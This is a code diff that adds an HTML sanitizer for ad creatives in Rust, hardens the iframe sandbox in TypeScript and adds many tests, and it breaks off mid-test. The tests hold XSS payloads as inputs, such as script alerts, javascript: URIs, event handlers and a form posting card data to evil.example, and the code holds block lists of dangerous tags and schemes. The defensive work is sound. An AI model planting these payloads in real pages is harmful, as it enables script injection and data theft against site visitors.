diff --git a/crates/common/src/auction/formats.rs b/crates/common/src/auction/formats.rs
index 3eb4d843..71347027 100644
--- a/crates/common/src/auction/formats.rs
+++ b/crates/common/src/auction/formats.rs
@@ -217,15 +217,17 @@ pub fn convert_to_openrtb_response(
             })
         })?;
 
-        // Process creative HTML if present - rewrite URLs and return inline
+        // Process creative HTML if present — sanitize dangerous markup first, then rewrite URLs.
         let creative_html = if let Some(ref raw_creative) = bid.creative {
-            // Rewrite creative HTML with proxy URLs for first-party delivery
-            let rewritten = creative::rewrite_creative_html(settings, raw_creative);
+            let sanitized = creative::sanitize_creative_html(raw_creative);
+            let rewritten = creative::rewrite_creative_html(settings, &sanitized);
 
             log::debug!(
-                "Rewritten creative for auction {} slot {} ({} bytes)",
+                "Processed creative for auction {} slot {} ({} → {} → {} bytes)",
                 auction_request.id,
                 slot_id,
+                raw_creative.len(),
+                sanitized.len(),
                 rewritten.len()
             );
 
diff --git a/crates/common/src/creative.rs b/crates/common/src/creative.rs
index 63db7e6f..0b9e1cc5 100644
--- a/crates/common/src/creative.rs
+++ b/crates/common/src/creative.rs
@@ -303,6 +303,205 @@ pub fn rewrite_css_body(settings: &Settings, css: &str) -> String {
     rewrite_style_urls(settings, css)
 }
 
+/// Maximum byte length of creative HTML accepted by [`sanitize_creative_html`].
+///
+/// Inputs larger than this are rejected (empty string returned) to prevent unbounded
+/// allocations on the hot path. Fastly Compute enforces upstream request-body limits,
+/// but this guard protects internal callers too.
+const MAX_CREATIVE_SIZE: usize = 1024 * 1024; // 1 MiB
+
+/// Returns `true` if a lowercased `data:` URI points to a safe, non-executable MIME type.
+///
+/// Only well-known raster image formats are allowed. `data:image/svg+xml` is **excluded**
+/// because SVG documents can contain `<script>` and event-handler attributes.
+fn is_safe_data_uri(lower: &str) -> bool {
+    // Extract the MIME type — everything between "data:" and the first ";" or ","
+    let mime = lower
+        .trim_start_matches("data:")
+        .split([';', ','])
+        .next()
+        .expect("should have at least one split segment");
+    matches!(
+        mime,
+        "image/png" | "image/jpeg" | "image/gif" | "image/webp" | "image/avif"
+    )
+}
+
+/// Strip dangerous elements and attributes from ad creative HTML.
+///
+/// Removes elements that can execute code or exfiltrate data (`script`, `iframe`,
+/// `object`, `embed`, `base`, `meta`, `form`, `link`, `style`) and strips `on*` event-handler
+/// attributes and dangerous URI schemes from all remaining elements:
+/// - `javascript:`, `vbscript:`
+/// - `data:` URIs except the safe raster image subtypes (`image/png`, `image/jpeg`,
+///   `image/gif`, `image/webp`, `image/avif`). `data:image/svg+xml` is blocked because
+///   SVG can contain executable content.
+/// - Inline `style` attributes containing `expression()`, `javascript:`, `vbscript:`,
+///   or `data:text/` / `data:application/` / `data:image/svg` URL patterns.
+///
+/// This runs as the first pass in the creative pipeline, before URL rewriting, so the
+/// rewriter only ever sees clean markup.
+///
+/// Inputs larger than [`MAX_CREATIVE_SIZE`] are rejected (empty string returned) with a warning.
+/// On parse errors the markup is also rejected (empty string returned) with a warning.
+#[must_use]
+pub fn sanitize_creative_html(markup: &str) -> String {
+    if markup.len() > MAX_CREATIVE_SIZE {
+        log::warn!(
+            "sanitize_creative_html: creative too large ({} bytes > {} byte limit); rejecting",
+            markup.len(),
+            MAX_CREATIVE_SIZE
+        );
+        return String::new();
+    }
+
+    let mut out = Vec::with_capacity(markup.len());
+
+    let mut rewriter = HtmlRewriter::new(
+        HtmlSettings {
+            element_content_handlers: vec![
+                // Remove executable/dangerous elements along with their inner content.
+                element!("script", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("iframe", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("object", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("embed", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("base", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("meta", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("form", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                element!("link", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                // <style> blocks can carry CSS expressions, @import for external
+                // resource loading, and url() data exfiltration — strip them for
+                // consistency with <link> (external stylesheets) treatment.
+                element!("style", |el| {
+                    el.remove();
+                    Ok(())
+                }),
+                // Strip event-handler attributes and dangerous URI scheme values from
+                // every element. Note: lol_html calls this handler for the opening tag of
+                // each element including those already marked for removal above (e.g.
+                // <script>). Attribute mutations on removed elements are benign — lol_html
+                // discards the tag — but the handler still fires. This is intentional and
+                // harmless.
+                element!("*", |el| {
+                    let on_attrs: Vec<String> = el
+                        .attributes()
+                        .iter()
+                        .filter(|a| a.name().to_ascii_lowercase().starts_with("on"))
+                        .map(|a| a.name().to_string())
+                        .collect();
+                    for attr in &on_attrs {
+                        el.remove_attribute(attr);
+                    }
+
+                    for attr_name in &[
+                        "href",
+                        "src",
+                        // data-src is used by lazy-loading libraries; treat like src.
+                        "data-src",
+                        "action",
+                        "formaction",
+                        "background",
+                        "poster",
+                        "xlink:href",
+                    ] {
+                        if let Some(val) = el.get_attribute(attr_name) {
+                            let lower = val.trim().to_ascii_lowercase();
+                            // Strip executable URI schemes. data:image/svg+xml is blocked
+                            // even though it starts with "data:image/" because SVG can
+                            // embed script. Only safe raster formats pass through.
+                            if lower.starts_with("javascript:")
+                                || lower.starts_with("vbscript:")
+                                || (lower.starts_with("data:") && !is_safe_data_uri(&lower))
+                            {
+                                el.remove_attribute(attr_name);
+                            }
+                        }
+                    }
+
+                    // srcset is a comma-separated list of "url [descriptor]" entries.
+                    // Check each URL individually so a dangerous URI anywhere in the list
+                    // is caught, not just one at the start of the attribute string.
+                    if let Some(val) = el.get_attribute("srcset") {
+                        let is_dangerous = val.split(',').any(|entry| {
+                            let url = entry
+                                .trim()
+                                .split_ascii_whitespace()
+                                .next()
+                                .unwrap_or("")
+                                .to_ascii_lowercase();
+                            url.starts_with("javascript:")
+                                || url.starts_with("vbscript:")
+                                || (url.starts_with("data:") && !is_safe_data_uri(&url))
+                        });
+                        if is_dangerous {
+                            el.remove_attribute("srcset");
+                        }
+                    }
+
+                    // Strip inline styles containing CSS expressions, JS URIs, or
+                    // data: URIs with executable MIME types (SVG and text/application
+                    // subtypes can carry HTML/JS payloads inside CSS url() values).
+                    if let Some(style) = el.get_attribute("style") {
+                        let lower = style.to_ascii_lowercase();
+                        if lower.contains("expression(")
+                            || lower.contains("javascript:")
+                            || lower.contains("vbscript:")
+                            || lower.contains("data:text/")
+                            || lower.contains("data:application/")
+                            || lower.contains("data:image/svg")
+                        {
+                            el.remove_attribute("style");
+                        }
+                    }
+
+                    Ok(())
+                }),
+            ],
+            ..HtmlSettings::default()
+        },
+        |c: &[u8]| out.extend_from_slice(c),
+    );
+
+    // Short-circuit: do not call end() after a failed write(), as lol_html's
+    // rewriter is in an error state and may produce garbage output. Fail closed —
+    // return empty string so the caller rejects the creative rather than serving
+    // unsanitized markup.
+    if rewriter.write(markup.as_bytes()).is_err() || rewriter.end().is_err() {
+        log::warn!("sanitize_creative_html: html parse error; rejecting markup");
+        return String::new();
+    }
+
+    // lol_html always emits valid UTF-8 when given valid UTF-8 input (Rust &str
+    // is always valid UTF-8), so this error path is unreachable in practice.
+    // Return empty string rather than the original markup so the caller fails
+    // closed if lol_html ever produces unexpected non-UTF-8 output.
+    String::from_utf8(out).unwrap_or_default()
+}
+
 /// Rewrite ad creative HTML to first-party endpoints.
 /// - 1x1 `<img>` pixels → `/first-party/proxy?tsurl=&lt;base-url&gt;&lt;params&gt;&tstoken=&lt;sig&gt;`
 /// - Non-pixel absolute images → `/first-party/proxy?tsurl=&lt;base-url&gt;&lt;params&gt;&tstoken=&lt;sig&gt;`
@@ -581,7 +780,9 @@ impl StreamProcessor for CreativeCssProcessor<'_> {
 
 #[cfg(test)]
 mod tests {
-    use super::{rewrite_creative_html, rewrite_srcset, rewrite_style_urls, to_abs};
+    use super::{
+        rewrite_creative_html, rewrite_srcset, rewrite_style_urls, sanitize_creative_html, to_abs,
+    };
 
     #[test]
     fn rewrites_width_height_attrs() {
@@ -1282,4 +1483,360 @@ mod tests {
         assert!(out.contains("advertiser.example.com"));
         assert!(out.contains("data-tsclick=\"/first-party/click"));
     }
+
+    // ── sanitize_creative_html tests ────────────────────────────────────────
+
+    #[test]
+    fn sanitize_passes_safe_static_markup() {
+        let html = r#"<div><img src="https://example.com/ad.png" alt="ad"><a href="https://example.com">click</a></div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(out.contains("<img"), "should preserve img tag");
+        assert!(
+            out.contains("https://example.com/ad.png"),
+            "should preserve safe src"
+        );
+        assert!(
+            out.contains("https://example.com"),
+            "should preserve safe href"
+        );
+    }
+
+    #[test]
+    fn sanitize_removes_script_tag() {
+        let html = r#"<div>ad content</div><script>alert("xss")</script>"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<script"), "should remove script element");
+        assert!(!out.contains("alert"), "should remove script content");
+        assert!(out.contains("ad content"), "should preserve safe content");
+    }
+
+    #[test]
+    fn sanitize_removes_iframe_element() {
+        let html = r#"<div>ad</div><iframe src="https://evil.example/"></iframe>"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<iframe"), "should remove iframe element");
+        assert!(out.contains("ad"), "should preserve safe content");
+    }
+
+    #[test]
+    fn sanitize_removes_object_and_embed() {
+        let html = r#"<object data="https://evil.example/swf"></object><embed src="evil.swf">"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<object"), "should remove object element");
+        assert!(!out.contains("<embed"), "should remove embed element");
+    }
+
+    #[test]
+    fn sanitize_removes_form_element() {
+        let html = r#"<form action="https://evil.example/steal"><input name="cc"></form>"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<form"), "should remove form element");
+    }
+
+    #[test]
+    fn sanitize_removes_meta_and_base() {
+        let html = r#"<meta http-equiv="refresh" content="0;url=https://evil.example/"><base href="https://evil.example/">"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<meta"), "should remove meta element");
+        assert!(!out.contains("<base"), "should remove base element");
+    }
+
+    #[test]
+    fn sanitize_strips_on_event_attributes() {
+        let html = r#"<img src="/track.png" onerror="alert(1)" onload="evil()">"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("onerror"), "should strip onerror attribute");
+        assert!(!out.contains("onload"), "should strip onload attribute");
+        assert!(out.contains("<img"), "should preserve img element");
+    }
+
+    #[test]
+    fn sanitize_strips_javascript_href() {
+        let html = r#"<a href="javascript:alert(1)">click</a>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: href"
+        );
+        assert!(out.contains("click"), "should preserve link text");
+    }
+
+    #[test]
+    fn sanitize_strips_vbscript_src() {
+        let html = r#"<img src="vbscript:MsgBox(1)">"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("vbscript:"), "should strip vbscript: src");
+    }
+
+    #[test]
+    fn sanitize_strips_data_uri_src() {
+        let html = r#"<img src="data:text/html,<script>alert(1)</script>">"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("data:text/html"), "should strip data: src");
+    }
+
+    #[test]
+    fn sanitize_strips_dangerous_data_src_attribute() {
+        // data-src is used by lazy-loaders; dangerous URI schemes must be stripped.
+        let html = r#"<img data-src="javascript:alert(1)" alt="ad">"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: in data-src"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_dangerous_srcset_leading_entry() {
+        // A javascript: URI at the start of srcset must be stripped.
+        let html =
+            r#"<img srcset="javascript:alert(1) 1x, https://cdn.example/img.png 2x" alt="ad">"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("srcset"),
+            "should remove srcset with leading dangerous URL"
+        );
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: from srcset"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_dangerous_srcset_non_leading_entry() {
+        // A javascript: URI that is NOT the first entry must also be stripped.
+        // This was the gap in the previous starts_with-only check.
+        let html =
+            r#"<img srcset="https://cdn.example/small.png 1x, javascript:alert(1) 2x" alt="ad">"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("srcset"),
+            "should remove srcset with non-leading dangerous URL"
+        );
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: from non-leading srcset entry"
+        );
+    }
+
+    #[test]
+    fn sanitize_preserves_safe_srcset() {
+        // A fully safe srcset must be preserved.
+        let html = r#"<img srcset="https://cdn.example/small.png 1x, https://cdn.example/large.png 2x" alt="ad">"#;
+        let out = sanitize_creative_html(html);
+        assert!(out.contains("srcset"), "should preserve safe srcset");
+        assert!(
+            out.contains("small.png"),
+            "should preserve first srcset URL"
+        );
+        assert!(
+            out.contains("large.png"),
+            "should preserve second srcset URL"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_dangerous_inline_style() {
+        let html = r#"<div style="background:expression(alert(1))">ad</div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("expression("),
+            "should strip expression() in style"
+        );
+        assert!(out.contains("ad"), "should preserve element content");
+    }
+
+    #[test]
+    fn sanitize_strips_javascript_in_style() {
+        let html = r#"<div style="background:javascript:alert(1)">ad</div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: in style"
+        );
+    }
+
+    #[test]
+    fn sanitize_preserves_safe_inline_style() {
+        let html = r#"<div style="color:red;font-size:14px">styled ad</div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(out.contains("style="), "should preserve safe inline style");
+        assert!(out.contains("color:red"), "should preserve style value");
+    }
+
+    #[test]
+    fn sanitize_preserves_mailto_href() {
+        let html = r#"<a href="mailto:contact@example.com">email</a>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            out.contains("mailto:contact@example.com"),
+            "should preserve mailto href"
+        );
+    }
+
+    #[test]
+    fn sanitize_passes_through_empty_input() {
+        let out = sanitize_creative_html("");
+        assert_eq!(out, "", "should return empty string unchanged");
+    }
+
+    #[test]
+    fn sanitize_removes_link_element() {
+        let html = r#"<link rel="stylesheet" href="https://evil.example/evil.css">"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<link"), "should remove link element");
+    }
+
+    #[test]
+    fn sanitize_removes_style_element() {
+        // <style> blocks can carry CSS expressions, @import, and url() payloads.
+        // Treated the same as <link>: stripped entirely.
+        let html = r#"<div>ad</div><style>div { background: expression(alert(1)) }</style>"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<style"), "should remove style element");
+        assert!(
+            !out.contains("expression("),
+            "should remove style element content"
+        );
+        assert!(out.contains("ad"), "should preserve safe content");
+    }
+
+    #[test]
+    fn sanitize_removes_style_element_with_at_import() {
+        let html = r#"<p>ad</p><style>@import url("https://evil.example/exfil.css")</style>"#;
+        let out = sanitize_creative_html(html);
+        assert!(!out.contains("<style"), "should remove style element");
+        assert!(!out.contains("@import"), "should remove @import content");
+    }
+
+    #[test]
+    fn sanitize_strips_on_event_attributes_case_insensitive() {
+        // on* matching must be case-insensitive: ONCLICK, OnClick, etc.
+        let html = r#"<div ONCLICK="alert(1)" OnMouseOver="evil()">ad</div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.to_ascii_lowercase().contains("onclick"),
+            "should strip ONCLICK"
+        );
+        assert!(
+            !out.to_ascii_lowercase().contains("onmouseover"),
+            "should strip OnMouseOver"
+        );
+        assert!(out.contains("ad"), "should preserve element content");
+    }
+
+    #[test]
+    fn sanitize_strips_javascript_in_action_and_formaction() {
+        let html = r#"<form action="javascript:steal()"><button formaction="javascript:also()">go</button></form>"#;
+        let out = sanitize_creative_html(html);
+        // form is fully removed; button survives but formaction is stripped
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: URIs"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_javascript_in_background_and_poster() {
+        let html = r#"<table background="javascript:xss()"><video poster="javascript:xss()"></video></table>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: in background and poster"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_javascript_in_xlink_href() {
+        let html = r#"<svg><use xlink:href="javascript:alert(1)"/></svg>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("javascript:"),
+            "should strip javascript: in xlink:href"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_whitespace_padded_dangerous_uri() {
+        // Dangerous URIs may have leading whitespace before the scheme.
+        let html = r#"<a href="  javascript:alert(1)">click</a>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("javascript:"),
+            "should strip whitespace-padded javascript: href"
+        );
+    }
+
+    #[test]
+    fn sanitize_preserves_data_image_src() {
+        // Safe raster formats must pass through unchanged.
+        for mime in &[
+            "image/png",
+            "image/jpeg",
+            "image/gif",
+            "image/webp",
+            "image/avif",
+        ] {
+            let html = format!(r#"<img src="data:{mime};base64,AAAA">"#);
+            let out = sanitize_creative_html(&html);
+            assert!(
+                out.contains(&format!("data:{mime};base64,")),
+                "should preserve data:{mime} src"
+            );
+        }
+    }
+
+    #[test]
+    fn sanitize_strips_data_svg_src() {
+        // data:image/svg+xml can embed <script> and event handlers — must be stripped.
+        let html = r#"<img src="data:image/svg+xml,<svg onload='alert(1)'/>">ad</img>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("data:image/svg+xml"),
+            "should strip data:image/svg+xml src"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_data_application_href() {
+        // data:application/* can carry JS payloads and must be stripped.
+        let html = r#"<a href="data:application/javascript,alert(1)">click</a>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("data:application/"),
+            "should strip data:application href"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_data_text_in_style_url() {
+        // data:text/* inside a CSS url() value can carry executable HTML — must be stripped.
+        let html =
+            r#"<div style="background: url('data:text/html,<script>xss</script>')">ad</div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("data:text/"),
+            "should strip data:text/ in style url()"
+        );
+    }
+
+    #[test]
+    fn sanitize_strips_data_svg_in_style_url() {
+        // data:image/svg+xml inside a CSS url() can execute JS — must be stripped.
+        let html =
+            r#"<div style="background: url('data:image/svg+xml,<svg onload=alert(1)>')">ad</div>"#;
+        let out = sanitize_creative_html(html);
+        assert!(
+            !out.contains("data:image/svg"),
+            "should strip data:image/svg in style url()"
+        );
+    }
+
+    #[test]
+    fn sanitize_returns_empty_string_when_over_size_limit() {
+        // Inputs exceeding MAX_CREATIVE_SIZE must be rejected (fail closed).
+        let large = "A".repeat(super::MAX_CREATIVE_SIZE + 1);
+        let out = sanitize_creative_html(&large);
+        assert_eq!(out, "", "should reject oversized input with empty string");
+    }
 }
diff --git a/crates/js/lib/src/core/render.ts b/crates/js/lib/src/core/render.ts
index 42a277b9..83720b24 100644
--- a/crates/js/lib/src/core/render.ts
+++ b/crates/js/lib/src/core/render.ts
@@ -6,11 +6,74 @@ import { getUnit, getAllUnits, firstSize } from './registry';
 import NORMALIZE_CSS from './styles/normalize.css?inline';
 import IFRAME_TEMPLATE from './templates/iframe.html?raw';
 
+const CREATIVE_SANDBOX_TOKENS = [
+  'allow-popups',
+  'allow-popups-to-escape-sandbox',
+  'allow-top-navigation-by-user-activation',
+] as const;
+
+export type CreativeSanitizationRejectionReason = 'empty-after-sanitize' | 'invalid-creative-html';
+
+export type AcceptedCreativeHtml = {
+  kind: 'accepted';
+  originalLength: number;
+  sanitizedHtml: string;
+  sanitizedLength: number;
+  removedCount: number;
+};
+
+export type RejectedCreativeHtml = {
+  kind: 'rejected';
+  originalLength: number;
+  sanitizedLength: number;
+  removedCount: number;
+  rejectionReason: CreativeSanitizationRejectionReason;
+};
+
+export type SanitizeCreativeHtmlResult = AcceptedCreativeHtml | RejectedCreativeHtml;
+
 function normalizeId(raw: string): string {
   const s = String(raw ?? '').trim();
   return s.startsWith('#') ? s.slice(1) : s;
 }
 
+// Validate the untrusted creative fragment before embedding it in the sandboxed iframe.
+// Dangerous markup is stripped server-side before adm reaches the client; this function
+// only guards against type errors and empty payloads. As a result, sanitizedLength always
+// equals originalLength and removedCount is always 0 for accepted creatives — these fields
+// exist for structural consistency with the shared result type but carry no signal here.
+export function sanitizeCreativeHtml(creativeHtml: unknown): SanitizeCreativeHtmlResult {
+  if (typeof creativeHtml !== 'string') {
+    return {
+      kind: 'rejected',
+      originalLength: 0,
+      sanitizedLength: 0,
+      removedCount: 0,
+      rejectionReason: 'invalid-creative-html',
+    };
+  }
+
+  const originalLength = creativeHtml.length;
+
+  if (creativeHtml.trim().length === 0) {
+    return {
+      kind: 'rejected',
+      originalLength,
+      sanitizedLength: originalLength,
+      removedCount: 0,
+      rejectionReason: 'empty-after-sanitize',
+    };
+  }
+
+  return {
+    kind: 'accepted',
+    originalLength,
+    sanitizedHtml: creativeHtml,
+    sanitizedLength: originalLength,
+    removedCount: 0,
+  };
+}
+
 // Locate an ad slot element by id, tolerating funky selectors provided by tag managers.
 export function findSlot(id: string): HTMLElement | null {
   const nid = normalizeId(id);
@@ -85,7 +148,7 @@ export function renderAllAdUnits(): void {
 
 type IframeOptions = { name?: string; title?: string; width?: number; height?: number };
 
-// Construct a sandboxed iframe sized for the ad so we can render arbitrary HTML.
+// Construct a sandboxed iframe sized for sanitized, non-executable creative HTML.
 export function createAdIframe(
   container: HTMLElement,
   opts: IframeOptions = {}
@@ -101,16 +164,14 @@ export function createAdIframe(
   iframe.setAttribute('aria-label', 'Advertisement');
   // Sandbox permissions for creatives
   try {
-    iframe.sandbox.add(
-      'allow-forms',
-      'allow-popups',
-      'allow-popups-to-escape-sandbox',
-      'allow-same-origin',
-      'allow-scripts',
-      'allow-top-navigation-by-user-activation'
-    );
+    if (iframe.sandbox && typeof iframe.sandbox.add === 'function') {
+      iframe.sandbox.add(...CREATIVE_SANDBOX_TOKENS);
+    } else {
+      iframe.setAttribute('sandbox', CREATIVE_SANDBOX_TOKENS.join(' '));
+    }
   } catch (err) {
     log.debug('createAdIframe: sandbox add failed', err);
+    iframe.setAttribute('sandbox', CREATIVE_SANDBOX_TOKENS.join(' '));
   }
   // Sizing + style
   const w = Math.max(0, Number(opts.width ?? 0) | 0);
@@ -129,10 +190,10 @@ export function createAdIframe(
   return iframe;
 }
 
-// Build a complete HTML document for a creative, suitable for use with iframe.srcdoc
+// Build a complete HTML document for a sanitized creative fragment, suitable for iframe.srcdoc.
 export function buildCreativeDocument(creativeHtml: string): string {
-  return IFRAME_TEMPLATE.replace('%NORMALIZE_CSS%', NORMALIZE_CSS).replace(
+  return IFRAME_TEMPLATE.replace('%NORMALIZE_CSS%', () => NORMALIZE_CSS).replace(
     '%CREATIVE_HTML%',
-    creativeHtml
+    () => creativeHtml
   );
 }
diff --git a/crates/js/lib/src/core/request.ts b/crates/js/lib/src/core/request.ts
index 1aa4f0d1..28704f06 100644
--- a/crates/js/lib/src/core/request.ts
+++ b/crates/js/lib/src/core/request.ts
@@ -2,7 +2,7 @@
 import { log } from './log';
 import { collectContext } from './context';
 import { getAllUnits, firstSize } from './registry';
-import { createAdIframe, findSlot, buildCreativeDocument } from './render';
+import { createAdIframe, findSlot, buildCreativeDocument, sanitizeCreativeHtml } from './render';
 import { buildAdRequest, sendAuction } from './auction';
 
 export type RequestAdsCallback = () => void;
@@ -11,6 +11,16 @@ export interface RequestAdsOptions {
   timeout?: number;
 }
 
+type RenderCreativeInlineOptions = {
+  slotId: string;
+  // Accept unknown input here because bidder JSON is untrusted at runtime.
+  creativeHtml: unknown;
+  creativeWidth?: number;
+  creativeHeight?: number;
+  seat: string;
+  creativeId: string;
+};
+
 // Entry point matching Prebid's requestBids signature; uses unified /auction endpoint.
 export function requestAds(
   callbackOrOpts?: RequestAdsCallback | RequestAdsOptions,
@@ -38,9 +48,19 @@ export function requestAds(
       .then((bids) => {
         log.info('requestAds: got bids', { count: bids.length });
         for (const bid of bids) {
-          if (bid.impid && bid.adm) {
-            renderCreativeInline(bid.impid, bid.adm, bid.width, bid.height);
+          if (!bid.impid) continue;
+          if (!bid.adm) {
+            log.debug('requestAds: bid has no adm, skipping', { slotId: bid.impid });
+            continue;
           }
+          renderCreativeInline({
+            slotId: bid.impid,
+            creativeHtml: bid.adm,
+            creativeWidth: bid.width,
+            creativeHeight: bid.height,
+            seat: bid.seat,
+            creativeId: bid.creativeId,
+          });
         }
         log.info('requestAds: rendered creatives from response');
       })
@@ -59,21 +79,37 @@ export function requestAds(
   }
 }
 
-// Render a creative by writing HTML directly into a sandboxed iframe.
-function renderCreativeInline(
-  slotId: string,
-  creativeHtml: string,
-  creativeWidth?: number,
-  creativeHeight?: number
-): void {
+// Render a creative by writing sanitized, non-executable HTML into a sandboxed iframe.
+function renderCreativeInline({
+  slotId,
+  creativeHtml,
+  creativeWidth,
+  creativeHeight,
+  seat,
+  creativeId,
+}: RenderCreativeInlineOptions): void {
   const container = findSlot(slotId) as HTMLElement | null;
   if (!container) {
-    log.warn('renderCreativeInline: slot not found; skipping render', { slotId });
+    log.warn('renderCreativeInline: slot not found; skipping render', { slotId, seat, creativeId });
     return;
   }
 
   try {
-    // Clear previous content
+    const sanitization = sanitizeCreativeHtml(creativeHtml);
+    if (sanitization.kind === 'rejected') {
+      log.warn('renderCreativeInline: rejected creative', {
+        slotId,
+        seat,
+        creativeId,
+        originalLength: sanitization.originalLength,
+        sanitizedLength: sanitization.sanitizedLength,
+        removedCount: sanitization.removedCount,
+        rejectionReason: sanitization.rejectionReason,
+      });
+      return;
+    }
+
+    // Clear the slot only after sanitization succeeds so rejected creatives never blank existing content.
     container.innerHTML = '';
 
     // Determine size with fallback chain: creative size → ad unit size → 300x250
@@ -99,15 +135,19 @@ function renderCreativeInline(
       height,
     });
 
-    iframe.srcdoc = buildCreativeDocument(creativeHtml);
+    iframe.srcdoc = buildCreativeDocument(sanitization.sanitizedHtml);
 
     log.info('renderCreativeInline: rendered', {
       slotId,
+      seat,
+      creativeId,
       width,
       height,
-      htmlLength: creativeHtml.length,
+      originalLength: sanitization.originalLength,
+      sanitizedLength: sanitization.sanitizedLength,
+      removedCount: sanitization.removedCount,
     });
   } catch (err) {
-    log.warn('renderCreativeInline: failed', { slotId, err });
+    log.warn('renderCreativeInline: failed', { slotId, seat, creativeId, err });
   }
 }
diff --git a/crates/js/lib/test/core/render.test.ts b/crates/js/lib/test/core/render.test.ts
index 38683de4..5bdb3a81 100644
--- a/crates/js/lib/test/core/render.test.ts
+++ b/crates/js/lib/test/core/render.test.ts
@@ -6,17 +6,104 @@ describe('render', () => {
     document.body.innerHTML = '';
   });
 
-  it('creates a sandboxed iframe with creative HTML via srcdoc', async () => {
-    const { createAdIframe, buildCreativeDocument } = await import('../../src/core/render');
+  it('creates a sandboxed iframe with sanitized creative HTML via srcdoc', async () => {
+    const { createAdIframe, buildCreativeDocument, sanitizeCreativeHtml } =
+      await import('../../src/core/render');
     const div = document.createElement('div');
     div.id = 'slotA';
     document.body.appendChild(div);
 
     const iframe = createAdIframe(div, { name: 'test', width: 300, height: 250 });
-    iframe.srcdoc = buildCreativeDocument('<span>ad</span>');
+    const sanitization = sanitizeCreativeHtml('<span>ad</span>');
+
+    expect(sanitization.kind).toBe('accepted');
+    if (sanitization.kind !== 'accepted') {
+      throw new Error('should accept safe creative markup');
+    }
+
+    iframe.srcdoc = buildCreativeDocument(sanitization.sanitizedHtml);
 
     expect(iframe).toBeTruthy();
     expect(iframe.srcdoc).toContain('<span>ad</span>');
     expect(div.querySelector('iframe')).toBe(iframe);
+    const sandbox = iframe.getAttribute('sandbox') ?? '';
+    expect(sandbox).not.toContain('allow-forms');
+    expect(sandbox).toContain('allow-popups');
+    expect(sandbox).toContain('allow-popups-to-escape-sandbox');
+    expect(sandbox).toContain('allow-top-navigation-by-user-activation');
+    expect(sandbox).not.toContain('allow-same-origin');
+    expect(sandbox).not.toContain('allow-scripts');
+  });
+
+  it('preserves dollar sequences when building the creative document', async () => {
+    const { buildCreativeDocument } = await import('../../src/core/render');
+    const creativeHtml = "<div>$& $$ $1 $` $'</div>";
+    const documentHtml = buildCreativeDocument(creativeHtml);
+
+    expect(documentHtml).toContain(creativeHtml);
+  });
+
+  it('accepts safe static markup during sanitization', async () => {
+    const { sanitizeCreativeHtml } = await import('../../src/core/render');
+    const sanitization = sanitizeCreativeHtml(
+      '<div><a href="mailto:test@example.com">Contact</a><img src="https://example.com/ad.png" alt="ad creative"></div>'
+    );
+
+    expect(sanitization.kind).toBe('accepted');
+    if (sanitization.kind !== 'accepted') {
+      throw new Error('should accept safe static creative HTML');
+    }
+
+    expect(sanitization.sanitizedHtml).toContain('<img');
+    expect(sanitization.sanitizedHtml).toContain('mailto:test@example.com');
+    expect(sanitization.removedCount).toBe(0);
+  });
+
+  it('accepts safe inline styles during sanitization', async () => {
+    const { sanitizeCreativeHtml } = await import('../../src/core/render');
+    const sanitization = sanitizeCreativeHtml('<div style="color: red">styled creative</div>');
+
+    expect(sanitization.kind).toBe('accepted');
+    if (sanitization.kind !== 'accepted') {
+      throw new Error('should accept safe inline styles');
+    }
+
+    expect(sanitization.sanitizedHtml).toContain('style=');
+    expect(sanitization.removedCount).toBe(0);
+  });
+
+  it('accepts server-sanitized creative HTML (content-based checks are server-side)', async () => {
+    const { sanitizeCreativeHtml } = await import('../../src/core/render');
+    // The server strips dangerous markup before adm reaches the client.
+    // The client only validates type and emptiness — content passes through.
+    const sanitization = sanitizeCreativeHtml(
+      '<div><img src="https://cdn.example.com/ad.png" alt="ad"></div>'
+    );
+
